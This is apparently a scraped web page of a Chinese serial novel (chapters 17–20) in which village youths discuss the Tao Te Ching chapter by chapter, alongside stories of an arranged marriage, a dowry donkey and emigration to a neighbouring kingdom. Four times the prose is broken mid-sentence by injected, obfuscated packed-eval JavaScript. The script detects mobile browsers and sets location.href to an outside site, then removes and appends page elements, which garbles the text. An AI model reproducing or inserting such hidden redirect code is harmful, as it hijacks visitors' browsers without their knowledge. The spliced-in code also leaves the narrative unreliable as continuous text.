这里的意思是说，天下人知道美而去作美，其实是一种恶，都知道善而去做善，其实是一种不善啊。（这里强调心有目的的对别人好，反而会干预道无欲妙为的本质，是一种不善，比如世人说的爱情，所以爱情给人带来的是痛苦，无欲合道的爱，就是灵魂的伴侣了，往而无咎） 有和无互相转换，难与易互相成就，长与短因比较而有，高与下互相依存，音乐和声唱互相配合，前与后互相伴随，这是自然的常理。（这里强调世界在人们用二元对立的名相建立的理解中成就，若有人二元不在对立，思维时时互相转换思考，能取中道就是合道了） 所以圣人依附道的“无”为而做事，这里的无为说的是居无而为，无中起用。实行没有语言的教化，万物依靠它自然生长而不被辞退和干涉（这里要强调一点，是万物的欲望成就了诸彼不辞，并不是道舍不得万物而不辞万物，说明道是一种圆满的施舍，当用当有)，养育但是不会占有，作事但是不会炫耀，这里做事也包括人们品行的教化和社会制度的安排。功成了也不认为是自己的功劳，正是因为不自居功，所以功劳不会消失，成就万物。（这里强调无心之心才能证道，传道。没有成就才是最大的成就，何以故？因为道就是这样的特点）” 冯妙元听完以后说道：“道就是无私的施舍和圆满的包容对吧？”。 金有妙说道：“嗯，是道以众生欲，成就了道的一切有，即欲即有，从来不吝啬，也不占有， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156638|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不恃傲”。 冯妙元问道：“众生有欲我能理解，毕竟有食色的要求。但是众生哪里来的呢？”。 金有妙说道：“只因觉明性然的一念无明，你如果现在就能不吝啬，不占有，不恃傲，即觉“明性道体”为自己。圆满世间一切有，亦是一切美”。 冯妙元说道：“觉明性然，就是道无欲妙为的本质吧”。金有妙说道：“是哒”。 金妙元继续问道：“那么第三章呢？”。 金有妙说道：“不尚贤，使民不争，不贵难得之货，使民不为盗﹔不见可欲，使民心不乱。是以圣人之治，虚其心，实其腹，弱其志，强其骨。常使民无知无欲。使夫智者不敢为也。为无为，则无不治。 这里的意思是说，不推崇贤能的人，人就不会争名利。（这里强调贤圣的人，不会显山露水而让人产生渴求的欲望，但教化如春风行于世间，万物觉醒，人们依然不知道他的存在，体现了道隐无名） 不会看重稀有之物，人就不会去偷盗，不显露引起贪欲的东西，人的心性就不会扰乱。（这里强调圣人不会因物的差别而立稀有，合入大道的平等，这样众生也不去偷盗了，也不会有贪欲了） 所以说圣人治世教化，使心不起贪执争取的妄念，每天只需要吃饱穿暖，弱化被人设定的坚固概念，只需要增强体魄，使人处于没有知限，没有欲限的自在境界中，（这几句话强调了知识和欲望为世界成形的根本，也是众生苦难的根本。这样，人本自由的道性就变成了不自由，人们被各种妄念缠缚，皆是被别人所骗的原因，圣人的教化只需要吃饱穿暖） 哪些想利用别人的所谓智者就不敢恣意妄为了。（这里的思想主要能提现如今的资本家为什么如此胆大妄为的原因，就是人们因累劫的无明而升起的贪执，让资本家有恃无恐，是自己联合资本家把自己骗入苦难的绝境) 这就是道的作用，也就是无的妙用啊，如此这般，世界没有不能治理的。（这里强调道本是无欲自由的，圣人合道的治理教化，世界就没有不能治理的了）” 冯妙元听完问道：“道就是隐藏的，平等的，无欲无为的，也就是我们的眼耳鼻舌身意，性然妙成，对吧？有妙哥哥”。金有妙说道：“嗯，是哒” 冯妙元继续问道：“自己主观的知见和认知让自己变得狭隘，才产生了苦难，人们怎么解决这个问题呢？比如仇恨和情痴？”。 金有妙说道：“以道驭道，不要用自己的主观意想和判断就可以解决这个问题”。 17. 第十七章：宽良送驴某私情，二妙学堂又参道 第二天早上，冯玄真接到一批养蚕书《养蚕十要》，要求尽快发放。因为开学就立秋了。他把各个学生，包括识字的学生，召集到了学堂，吩咐金有妙和冯妙元去发书。 这天金有妙，刚好碰到了吴宽余，就问吴宽余问道：“你哥怎么娶了冯秀莲”。吴宽余说道：“你不是说金凤不是你姐吗？你问这事干嘛呢”。金有妙说道：“好奇问问”。冯妙元一听金凤的名字，想起了秀莲姐夫妻吵架的话，她也来了兴致，说道：“你就说嘛”。 吴宽余看了下冯妙元，说道：“本来我哥和金凤在谈，这事只有我和有妙哥哥知道。有妙哥哥去了县城的第二年，有妙哥哥的驴下了一个驴娃，就送给了我秀莲嫂子冯堂家。听冯炳乾说，这是来抵有妙哥哥的学费的”。 吴宽余继续说道：“冯堂以前欠我家的好多箩筐钱都没给，就想用结亲来划掉这笔债。由于我哥的反对，我父亲不愿意，他就说可以陪嫁一头驴，我父亲就答应了这门亲事。然后，有妙哥哥进城的第三年他们就成亲了”。 吴宽余继续说道：“我秀莲嫂子嫁过来以后，金凤可能是为了赌气吧，就答应了唐贵家的提亲，于次年也就和唐贵成亲了。唐贵他俩成亲以后，就分了家，穷的什么也没有。我哥就把这头嫁妆驴就送给了唐贵，前提是要求我们两家的农活一起干，也是希望唐贵给我们出点力”。再后来就是，我哥和我嫂子天天因为这事吵架”。 金有妙听到这里，低下头沉思道：“父亲是不想落别人的好，把这么贵重的东西贴补了自己的学费，也是父亲最后的尊严了。自己从未了解这样的父亲，感觉有点遗憾”。 冯妙元说道：“怪不得他俩这样吵架”。然后就再没说什么，开始发书了… 话说唐贵，自从有了驴，自己的农活干的很卖力，也会帮吴宽良家一起耕种。到了秋收的时候，他们两家也是一起收。收完这家，收那家。今年吴宽良家种了四亩扁豆，唐贵家种了两亩。唐贵家的扁豆地向阳，比吴宽良家熟的早。他们两家一起就先给唐贵家拔扁豆。 他们一起拔扁豆，吴宽良和金凤总是眉来眼去，唐贵也是装作没看见，毕竟没有这一头驴，他的生活都是问题了，更别谈养活金凤了。 冯秀莲气不过，总是不给他家出工。基本上是唐贵夫妻给吴家出工，吴宽良给唐家出工也是去见金凤而已，并不是一定非要出工，毕竟他又不欠唐贵的驴。 这天，他们早上拔完扁豆，中午休息吃饭。忽然，看见金有田走了进来，说他家拉扁豆的架子车，因为装太多，翻沟里了。叫唐贵帮他抬一下。唐贵和金有田走了以后，就只剩下金凤和吴宽良了。 金凤说道：“他吴叔，你吃饱了吗”。吴宽良嬉皮笑脸的说道：“饭是吃饱了”。金凤回道：“那他叔是什么没吃饱？”。吴宽良一把拉金凤到他怀里，就上手了。金凤怒斥道：“这大白天的你不怕来人？”。吴宽良说道：“你把大门关上”。金凤怒道：“你混啊！谁白天关门的，唐贵回来看见了怎么想，我还以为你是一个有脑子的，原来这么混。别说吃饱，我看你是饿傻了”。说完，他又“呵呵”的笑了。 唐贵一听她这么说，想了一下也对，就不再有过分的动作了。不一会儿，唐贵回来了。说道：“她吴叔，吃好了吗？要么你中午休息下，我和金凤先上地去”。吴宽良说道：“他唐叔，这说的哪里话，那有主家上地干活，而帮工在家睡觉的道理，我吃的饱饱的了，我们一起这就上地吧”。说完，他们一起收拾了一下，就上地了。 金有妙和冯妙元发完书，其他孩子拿着书就回去了。只有金有妙，冯妙元以及吴宽余他们三个。吴宽余问金有妙说道：“有妙哥，你在县城学的啥”。金有妙说道：“学了一下道德经的道理”。吴宽余说道：“你给我讲讲吧”。冯妙元跟着说道：“有妙哥，那你从第四章继续说吧”。 金有妙说道：“第四章是这样。道盅，而用之或不盈。 渊兮 ，似万物之宗﹔挫其锐，解其纷，和其光，同其尘，湛兮，似或存。吾不知谁之子，象帝之先。 这里的意思是说，道的盅杯，万物都可以用它来装，似乎不会装满，比喻的说明了道的用处无穷尽，亦无处不在。（这里主要提现了道的空虚无形，但用性不失) 幽深莫测啊，是万物的宗法，能锉刚鋭，能释运动，和光一体，与尘等同，（这能克刚鋭的是水，柔能克刚。能解运动的是风。和光一体的是火。与尘等同的是大地。生命也是由此四种产生)。 剔透湛明啊，但又实实起作用，这种存在又无处追寻，就好似存在一样。我不知道它因什么而有，湛然常住，就像是在最先的前面。 听完以后，吴宽余说道：“道既然空虚无形，我怎么才能发现它呢？”。 金有妙说道：“这就如同你的见，听，尝等性，脱离了色，声，味等尘劳，你就找不到了。但是你要用见，听，尝时，他们就在那里，从未失去过”。 冯妙元听到这里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156639|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赞叹不已，说道：“这么简单的道理，为什么人们从未发现呢？”。 金有妙说道：“是人们把注意力放到了美色，音乐，美食等贪欲上了。故而没有察觉到产生它们的根本，就是这大道”。 冯妙元说道：“第五章呢” 金有妙继续说道：“天地不仁 ，以万物为刍狗﹔圣人不仁，以百姓为刍狗 。天地之间 ，其犹橐tuo龠yue乎(风箱) 。虚而不屈，动而愈出。多言数穷，不如守中。 这段话是说，天地没有偏爱，任万物自生自灭，这里为什么要用刍狗一词呢？刍狗就是古时候祭祀的稻草人，祭祀时用，用完就烧了，就是说当用当有，不用也就找不到它的踪迹了，皆是因欲妄，性觉自然呈现。 圣人没有偏爱，任百姓忙来忙去，这里为什么也用刍狗一词呢？就是说有价值就有忙的可能，没价值也会被社会抛弃不用，也不用忙了。天地之间，正像一个风箱，虽然空虚，但不会穷竭，动起来就会起作用，言语太多就会让自己陷入困境，不如坚守内心的虚静，不用去分别尘劳，居中就是静了”。 冯妙元说道：“那就是说我们所见，所听，所尝都是因欲妄性觉呈现吗？”。 金有妙说道：“是的，欲妄既然说妄者，那它就不是真实的存在，存在的只是道本身，是我们有欲取把道而立种种假认，这种种假认缘合聚集，就成了你我这样的生命，生命的奇迹，爱情的的美妙都是这样的缘聚的体现”。 吴宽余听的入神了，没有等到金有妙继续发言，就问道：“那第六章呢”。 金有妙说道：“谷神不死，是谓玄牝。玄牝之门，是谓天地根。绵绵若存，用之不勤。 这段话是说，有欲妄，就会生养不息，如同有神不死，可以称之为最初的，有与无之间的孕育之门。这样的孕育，就是产生天地的根本。这样的孕，就如同山谷空旷虚无，但气孕不绝。怎么的育，就如同有谷生长。这也是万物的根本。所以，天地万物一切有的根本，亦源于一念留欲。这样的欲分散于每个生命的觉明道体中，绵绵若似常存。这样的欲念，总是变来变去，所以它不会一直在一个方向上发用。所以，世界万紫千红。人性贪嗔爱怨”。 冯妙元说道：“这样的欲妄，我们要不要去除呢？”。 金有妙说道：“以道驭之，即可。比如说爱情，符合道的随缘起灭，包容，施舍，不贪，常隐，公平，不执，它就会很甜蜜，并且两个人相处起来自然和谐”。 18. 第十八章：捉塘蚪二妙缘金珠，转娘家佳慧话家常 冯妙元来金山村的第四天，这天早上下了雨，快到中午的时候太阳出来了。妙元拿了一只烤鸡来到了有妙家。她进来上房，把烤鸡放到了炕桌上。用很温柔的声音说道：“阿娘，这里有烧鸡你吃”。话说这里人把亲生母亲称呼阿母，把和母亲同辈的阿姨称呼阿娘。 杨氏说道：“你和妙儿怎么认识的，你这姑娘真标致”。妙元说道：“有妙是我的同学，他经常给我讲学”。杨氏听完话，用拐杖支撑着身子，从炕沿上起来，赶紧说道：“姑娘你坐，快坐”。妙元说道：“我去找有妙哥哥，阿娘，你赶紧吃，还热乎着呢”。 妙元来到了厨房，看见有妙在烧火，莺儿在做饭。黄土高坡的人家，做饭时都用农作物的秸秆，需要一个人的灶眼里尽管添秸秆，一个人灶台上做饭。她就说道：“有妙哥哥，我来烧”。有妙一听声音，就知道妙元来了。 金有妙说道：“你怎么来这里呢？”。妙元说道：“怎么了，我不能来呀？”。金有妙说道：“当然可以来，我一百个愿意，怕你又伤心”。妙元说道：“通过这两天你给我讲道，我试着说服自己，想开了许多事情，不会伤心了”。 她紧接着蹲下来说道：“有妙哥哥，你过来，我来烧火”。莺儿见状，说道：“阿妹，你没烧过，小心汤，你让他来”。妙元说道：“莺儿姐姐，没事的，我会小心的”。有妙知道她的性子，想弄一件事情，不试一试，她是不会罢休的，就起身把位置让给了她。 冯妙元问道：“金朵姐姐呢”。金有妙说道：“昨晚在金灵家，到现在没有过来”。 不一会儿，饭做好了，还是经常做的老疙瘩汤。莺儿盛好饭，给上房炕桌端了一碗，看见烧鸡，喊着问道：“这哪里来的烧鸡？”。妙元回答道：“我给阿娘带的，大家就着饭一起吃”。 雨后的夏天，还是比较热的，妙元和有妙坐在外面台阶上吃饭，她就进去给有妙掰了一个鸡腿出来，放在了疙瘩汤碗里，金有妙说道：“给你也掰一个啊”。冯妙元回答道：“鸡腿我有的是机会吃，今天我要多喝几碗这个汤”。 吃完饭以后，他们来到了杏树下面的兔窝这里，妙元拿起了窝边的草叶，就开始喂兔子。金有妙家的兔子，已经繁衍到二十多只了。 冯妙元一边喂一边笑着说道：“我住这里不走了，我要等这个杏子黄熟了，吃了再走”。金有妙回道：“那不行，别人还以为你是我媳妇呢”。妙元说道：“我就要给你当媳妇，天天喂它”。说完话，指了指窝里的兔子。 金有妙说道：“这公兔子和母兔子一个窝里就会有小兔子，你把我和你放一个窝里，那不得有小孩子”。冯妙元说道：“有小孩子养大不就行了”。金有妙说道：“你看我家这情况，咋养呢？”。 冯妙元一听这话，又不高兴了，大眼睛里又滚出两颗热泪。金有妙见状急了，说道：“以前从来也没见你这么哭过，我知道你心疼我，我好的很呢，你说好的不伤心嘛，不要哭啦”，说着把她揽在了怀里，摇动了两下身子。 冯妙元抹了两把泪，又笑着说道：“那你要不要我做你媳妇”。金有妙说道：“要，一百个愿意，怕是会把我家兔子喂的兔窝里盛不下喽”。冯妙元一听这话，脸蛋一红，说道：“看我不掐死你个胡说八道的”。说完话，拧了他的胳膊。 到了下午，天气彻底晴了起来，路上也不滑了，他们就出来逛了。 话说金如海门前有一个大池塘，就在这两颗杏树和金如海家门的正中间位置。平时里面有快干涸的一点点水，里面挣扎着些许蝌蚪。这天下了雨，池塘水又满了，里面的蝌蚪又活跃了起来。 他俩来到池塘，看见有一个女孩子在边上捞蝌蚪，娇美玲珑。冯妙元心想：“这女娃生的这般美丽，大有自己小时候的样子，不知道谁家孩子呢”。 金有妙问小女孩道：“你是谁家孩子？”。小女孩说道：“我阿爹是金有良”。金有妙一听就知道，这是金志海的长孙女金珠，今年5岁，她母亲是杨晴。最是一个识字的贤惠人。 冯妙元问女孩道：“来！姐姐给你抓几个蝌蚪，要不要啊？”。金珠说道：“要”。冯妙元不知道从哪里找了个瓶子，抓了好些送给了金珠。这金珠最是得到金妙元好感的女孩子。 他们就在这里和金珠玩了会，冯妙元说道：“有妙哥哥，你给我继续讲道德经吧”。金有妙回道：“讲那一段”。妙元说道：“接着昨天的讲就可以了”。 金有妙说道：“第七章：天长地久 。天地所以能长且久者，以其不自生 ，故能长生。是以圣人后其身而身先﹔ 外其身而身存。非以其无私邪。故能成其私 。 这里意思是说，天长地久，天地之所以能常久，是因为它不主动促自己生长，这样就能长久。(这段话主要是针对生命比较而言的，人们之所以会死去，是因为自己会主动以食色等欲促生促长)。 所以有道的圣人谦退承让而能在众人中领先，这句话是类比了天地不自生，来说明圣人不主动妄为，驭道行事，以“无”为用。 将自己置之度外，反而能保全自己，这句话也是类比了天地没有己身的概念，能够长久。正是因为圣人的无私，所以成就了他的理想。 这段话说的是道存，物存，人存，在义理上是一致的，谁违背这个道理，谁就不可能成功或者长久。 告诉我们做事情，要先观无而后能有，有无统一才能恒久不失，功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156640|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德圆满。如果只知道有，贪求妄为，不但不会成功，还会瞬息而亡。” 冯妙元听了以后，说道：“就是做事要以无心之心而做，不能太贪求结果，处处合道观无，做自在人”。金有妙说道：“就是这个道理”。 冯妙元回道：“有妙哥哥，你继续说下面的段落”。 金有妙继续说道：“第八章：上善若水。水善利万物而不争 ，处众人之所恶，故几于道 。居善地，心善渊，与善仁，言善信，政善治，事善能，动善时。夫唯不争，故无尤。 这里的意思是说，世上最难能可贵的东西，那就是水了。水能利万物，但不与他们相争。能处于众人所厌恶的地方，而不嫌弃。这是比较接近道的特点的。 居住的可贵之处，就在于它立地的稳当。心的可贵之处，就在于它能生发一切的源头。给与赠送的可贵之处，就在于没有私心目的。语言的可贵之处，就在于能够说话算数。政治的可贵之处，就在于能够被治理。做事的可贵之处，就在于他能胜任。开始的可贵之处，就在于选择的时间恰到好处。 这里的善也有刚刚好的意思。所以，人不可愚念，亦不必贪执，驭道寻善，不争而能自然契道，才不会有祸患。 整个语言汇总起来，“上善”这个词就是代表道的特点，当用当有，不用隐而不失，平等自由，施舍包容万物”。 冯妙元听完以后说道：“道的这些特点，就是我们能见，能听，能尝的那个心的渊头吗？”。 金有妙说道：“就是的，这样的心是脱离我们一切众生的，它独立存在，取名为道，我们又是它的功德幻成，所以我们处处在用它看听尝知等，我们误以为是‘我的’能为之功。道就像大海，我们就是一片片浪花，千变万化，妙不可言，可以称这样的心为妙心”。 冯妙元说道：“如此这般，我们所说的这个“我”，实际上是道。人们只应不知道有这样的常住妙心，非生非死。才因恐惧而贪执，只要明白了此妙心道体，自然也就合道了”。 金有妙说道：“就是这个道理”。 这天因为下了雨，金朵和金灵在金山海家里玩耍，也没去上地。金灵的亲姑姑金佳慧转回了娘家，和刘氏聊起了她这五年的生活情况。 金佳慧说道：“他姑父从来都不管家，喝酒，抽烟，是个酒鬼。经常跟我要钱喝酒，孩子也是我一手带，他从来不管不问。婆母有心脏病，我还要伺候喂饭，洗衣，梳头。忙里忙外，他也不看在眼里”。 刘氏听了，凝重而庄严的说道：“这都是命，也是没办法的事，我们这样的家庭，不好娶媳妇，你二哥总是要成家的，只是苦了你了。遇到事，凡事忍一忍就过去了”。 19. 第十九章：雨后放驴妙论道，辉平担货走外国 话说金珠家就另在金如海的对门。可能是听到金有妙他们聊天吧，金珠的母亲李晴就出门来观望。她看见是金有妙，就说道：“他尕爸你是啥时候来的？”。 金有妙回答道：“来了有几天了”。李晴附和道：“我总是很少出门，你来这么几天，都把你么看见”。说完又继续说道：“今天下过雨不能上地，你没有放驴去吗？”。话说放驴就是把驴拉出去吃草，一般农人下完雨都会去放驴。 金有妙说道：“本打算去了，这回碰见珠儿，就玩了起来”。李晴说道：“那带着珠儿，把我们家的驴也拉出去吧”。金有妙说道：“嫂子，那自然是可以的”。 然后，李晴转头看见冯妙元拉着珠儿的手，问道：“这是谁家姑娘，看来和珠儿有缘，她倒可亲了”。金有妙说道：“她是冯道办的老五”。李晴说道：“哦！我听说过，没想到是一等一的仙女模样”。冯妙元一听，立马谦虚道：“嫂子过奖了”。 他们聊了一会以后。莺儿赶着两家的驴和珠儿一起去放了，金有妙和冯妙元也跟在一起。过一条沟就到金山海家了，也叫了金灵和金朵拉着金灵家的驴一起去放了。 他们来到一处水草比较丰盛的沟里，把驴全部赶进去。人们在沟沿上盯着就可以了。金有妙看着珠儿说道：“我可以变个法术，把你家驴子的耳朵变没”。珠儿一听，拉着冯妙元的手哭了起来。妙元说道：“有妙哥哥你真坏，别逗她了，你看她都哭了”。金有妙说道：“谁知道她就哭了呢，你赶紧哄哄”。然后冯妙元对珠儿说道：“你尕爸她骗你的，他那有什么法术呢，我最知道他了”。珠儿一听不哭了。 灵儿说道：“我知道这附近有一棵李子树，谁留下看驴，我们去摘”。莺儿说道：“你们去吧，我和珠儿看驴”。就这样，他们几个去摘李子了。 他们来到树下，也不知道谁家的树，啥时候栽的，很大，只能上去摘。然后金有妙就爬上去摘了，冯妙元和灵儿脱了外裙，把袖子绑到一起，弄成比较大的毯子状，一人拉一边在下面接。 李子多到她俩拉不展衣服的时候，就叫金有妙下来了。金有妙下来一看是冯妙元的衣服，就说道“妙元妹妹的这衣服，香的李子都成了你的味道，我都舍不得下口了”。冯妙元一听，脸微润色，说道：“看我不打你个绕舌的，你把我当珠儿哄呢”。说着放下衣服，就追上去锤了她几拳。幸亏金灵机灵，在妙元放手的一刹那，把衣服的另一头猛往上拉，李子倒地上了，衣服没有落地，要不然衣服都得粘泥了。 然后他们几个分了李子，各自装兜里就回来了。回来以后，妙元和金朵本来就装的最多，妙元把她的分给了珠儿，金朵分了一些给莺儿。 莺儿尽管看他们几家的驴，也不怎么说话，妙元拉着金有妙给大家讲道德经，他们就围成了一圈，找了一些干树枝，坐在了上面。金有妙说道：“第九章： 持而盈之，不如其已﹔ 揣而锐之，不可长保。 金玉满堂，莫之能守﹔ 富贵而骄，自遗其咎。 功遂身退，天之道也。 这里的意思是说，把执持的器物装满，不如适时停止。把身上的剑等物件锻造的锋芒，锐势不能保持长久。金玉满堂，没有谁能够守的住的。富贵骄横，自己给自己存留祸患。成就了功业，就当退位收敛，这就是自然之道了。 这里主要是提醒人们，世间一切皆在道中运行，不以人的想法为转移，包括人的生命，也是道中作，亦在道上过，使命完成了，就应该回到道中去了，不要执着世间的权色富贵，不然苦觉灾难，历历难平，苦的只是自己，于事无补，于道无碍”。 说完以后，金灵问道：“也就是说，世间的事情我们做就可以了，不需要有什么目的和答案对吗？”。 金有妙说道“就是这个道理”。 冯妙元说道：“没有目的的话，那人们就没有方向了吧？”。 金有妙说道：“如果一个人在当下，能够用心的干活，自在自己，不胡思乱想，就是最好的方向了，这个方向也是道的方向，往而无咎”。 冯妙元继续说道：“有妙哥哥你继续说”。 金有妙继续说道：“第十章：载营魄抱一，能无离乎。专气致柔，能如婴儿乎。涤除玄鉴，能无疵乎。爱国治民 ，能无为乎。天门开阖，能为雌乎。明白四达，能无知乎。 这里的意思是说，精神和体魄合一，能做到永不分离吗？凝聚专气以致柔顺，能做到像婴儿那样吗？除去色受想行识五种遮蔽本心的障碍后，心能做到清净不执吗？爱国治民，能做到符合道的“无”为而为吗？有与无一开一合，能做的和雌性的生养那么完美吗？明晓上下内外一切之后，能够做到不需要知性就能明了吗？ 这段文字是说，我们做一件事情能不能达到精益求精，取得无上智慧，来到与道合一的境界”。 冯妙元听完，问道：“怎么才算与道合一？”。 金有妙说道：“就是我们现在的当下，也是与道合一的，要不然我怎么说话呢？你们怎么听呢？皆是道性觉自然而已。了其当下本存，就是合道了。山河大地，不是有中来，也不是无种来，本自恒在，只是我们把它认为成山河大地了而已”。 他们聊了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156641|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会，天色也渐渐暗了下来，他们也各自回家了。冯妙元和金有妙也把珠儿送回家了。 话说金山海的老二金有辉，和金全海的老四金有平。成家分了家以后。日子过的艰难，就约一起去进点丝货，打算走街串巷。妙赞国内的丝品毕竟已经是进口的，价格比较贵。他们就来到了蚕盛国打算进点。 蚕盛国紧碍着妙赞国，有一个县城叫易城，名大易县，就是交易的意思。他俩平时都是在大易城进货，这里的丝品比妙赞国便宜一半，加上关税，他们运回国也能赚个两三成。 这天他们来到街上，逛了好几家丝店，走的有些累了，就找了一家饭庄吃饭歇息。 听到有一桌人聊天，有一人说道：“你们听说了吗？这十年来，老国王盛秋丰把国家整的民不聊生，人丁越来越稀少。老国王被三太子盛雄篡位，圈于白城庄饿死了”。有一个附和道：“我知道这事，这是两年前的事了，你说它啥意思？”。 这个人又说道：“见于这个现状，新国王出台了一个引人入户的政策，说外国人只要带着家眷来我们国家，就可以分到土地和用于耕种的牛，以及养蚕的桑树和蚕架”。 附和的人说道：“你我又不是外国人，有啥开心的呢？”。这个人有说道：“现在国里头人都这么干，到外国去拉人，然后上报的时候说自己亲戚，国家分的田和蚕桑吃一点回扣，比我们老实干几年还赚的多呢？” 附和的人说道：“你我没有出过国，谁都不认识，拉谁去呢？”。 这个人又说道：“我们这大易城就有各国的商人，我们平时多打听，说不定就有愿意搬迁的”。 金有辉和金有平听到这里，来了兴趣，走过去问道：“两位大哥说的是真的吗？”。 那个人说道：“榜文都在县衙门口贴了，怎么会有假呢？不过要有我们国家的亲戚推荐，你们俩想来的话，有亲戚吗？” 金有辉说道：“这倒是没有”。那个人说道：“没有亲戚你们往那个县搬呢，没人引路啊。如果你们想来的话，可以搬到这大易县。我哥俩给你俩报，就说是我俩的亲戚。不过事成以后，国家分的田我们得收三成田的租，蚕架分我们三成”。金有辉回答道：“我们想想”。 他俩回道自己的桌子，金有平说道：“这不是靠咋俩发财吗？以后还得剥削咋俩，这能成吗？”。金有辉说道：“我们现在有啥？什么也没有，他就算剥削咋，起码咋俩有田蚕了”。 他俩回来以后，就给金山海和金全海说了一下，带着全家搬到了，蚕盛国大易县茯苓镇，这里因产茯苓而得名。具体生活咋样，各种细节暂不细表。 20. 妙元携珠掏鸟窝，灵儿求办讲经堂 自从金有辉搬离金山村以后，他另家时盖的房子就闲下来了。金有田想在这里养几头羊，可是没钱买羊，院子一直闲着。灵儿自从听了金有妙讲道德经，感觉特别殊胜。就求她奶奶刘氏，让给父亲说一下，把二叔的房子给她，她办个专门讲道德经的讲经室。金有田一想，反正这个暑假羊是养不上了，就同意了。 这天金朵，金灵，金有妙，金梅，孙果儿，唐欣几个在打扫收拾房子。冯妙元打算也是要帮忙的，刚好珠儿去冯堂家找她玩。珠儿是金志海的孙女，冯堂一家还是很善待她的，她经常跑冯堂家玩，轻车熟路的。他家又来了个和她投缘的姐姐，她自然要拉她一起玩的。 冯妙元也不知道带她去哪里玩，就在家给她叠纸折。有青蛙，有鸟，有篮子，有船，还有各种有意思的纸折。珠儿自然是高兴的不得了，把这些纸折放在一个特别大的纸折的篮子里，提上到处晃悠。 忽然，珠儿给冯妙元说，我知道哪里有鸟窝，姐姐带我去掏。冯妙元一听，从来没掏过鸟窝，就好奇的带她去了。他们来到一片苜蓿地里，紫色的苜蓿花上，蜜蜂和蝴蝶时不时起起落落。就在这个苜蓿地的土崖上面有个台子，台子上有个鸟窝。冯妙元一看，这么高的怎么能够得着呢，就带她回去了。 冯妙元把珠儿送回家以后，就来到了他们打扫房子的这里，房子也打扫好了。搬了几个平时坐的小凳子，大家就开始听金有妙讲道德经了。 金有妙说道：“第十一章：三十辐，共一毂，当其无，有车之用。埏埴shan zhi(和土)以为器，当其无，有器之用。凿户牖以为室，当其无，有室之用。故有之以为利，无之以为用。 这里的意思是说，三十根辐条汇集于车毂，有了毂中圆孔的空，才有了车的作用，糅合黏土做成器皿，有了器皿的空，才有了盛放食物的作用，开凿门户建设房屋，有了门窗四壁中间的空，才有了让人居住的作用，所以，“有”能给人便利，全靠“无”使它发挥作用，以无为用。这段话是提醒人们“无”虽然无形无相，本不来不去，但它依附在有中，能起作用，世间有为相，无不如此，人的生命也是如此，譬如，开眼见明，闭眼见暗，明本无暗，暗从何来？暗本无明，明从何来？痛久自愈，缘聚既离，皆是“无”的功用啊！所以说，这样的“无”，充满整个世界，随取随用，永不穷竭，凡世间有为相，皆是无中生有，说道有两个状态，本质也是觉明恒常，非有非空，无形无相”。 冯妙元说道：“无也是一种存在，有它的用处。如果没有有，那无也就无凭所立，这两者其实是道恒一，因对立的认知而立的分别，是这样吗？”。 金有妙说道：“是的，这种认知把道分成便利人们的‘有’，以及处处能用的‘无’。 金有妙继续说道：“第十二章：五色令人目盲﹔ 五音令人耳聋 ﹔ 五味令人口爽 ﹔驰骋畋猎，令人心发狂﹔ 难得之货，令人行妨。是以圣人为腹不为目 ，故去彼取此。 这里的意思是说，缤纷的色彩，令人眼花缭乱。纷繁音乐，令人听觉不灵，丰厚饮食，令人味觉迟钝，纵马驰骋围猎，令人内心发狂，稀罕器物，令人行为不轨，妨碍德行。因此有道的人，只求安饱而不纵情声色，摈弃物欲的诱惑而安守本自清净的寂道，内心通畅明静。所以去欲存道”。 金灵说道：“烦恼的根本就是六根的妄真执贪，实则这些都是遮蔽道的假象，离眼耳鼻舌身意六根则无尘。是这样吗？”。 金有妙说道：“就是这样”。 金有妙继续说道“第十三章：宠辱若惊，贵大患若身。何谓宠辱若惊 。宠为上，失之若惊，辱为下，得之若惊 ，是谓宠辱若惊。何谓贵大患若身。吾所以有大患者，为吾有身，及吾无身，吾有何患。故贵以身为天下，若可寄天下﹔爱以身为天下，若可托天下。 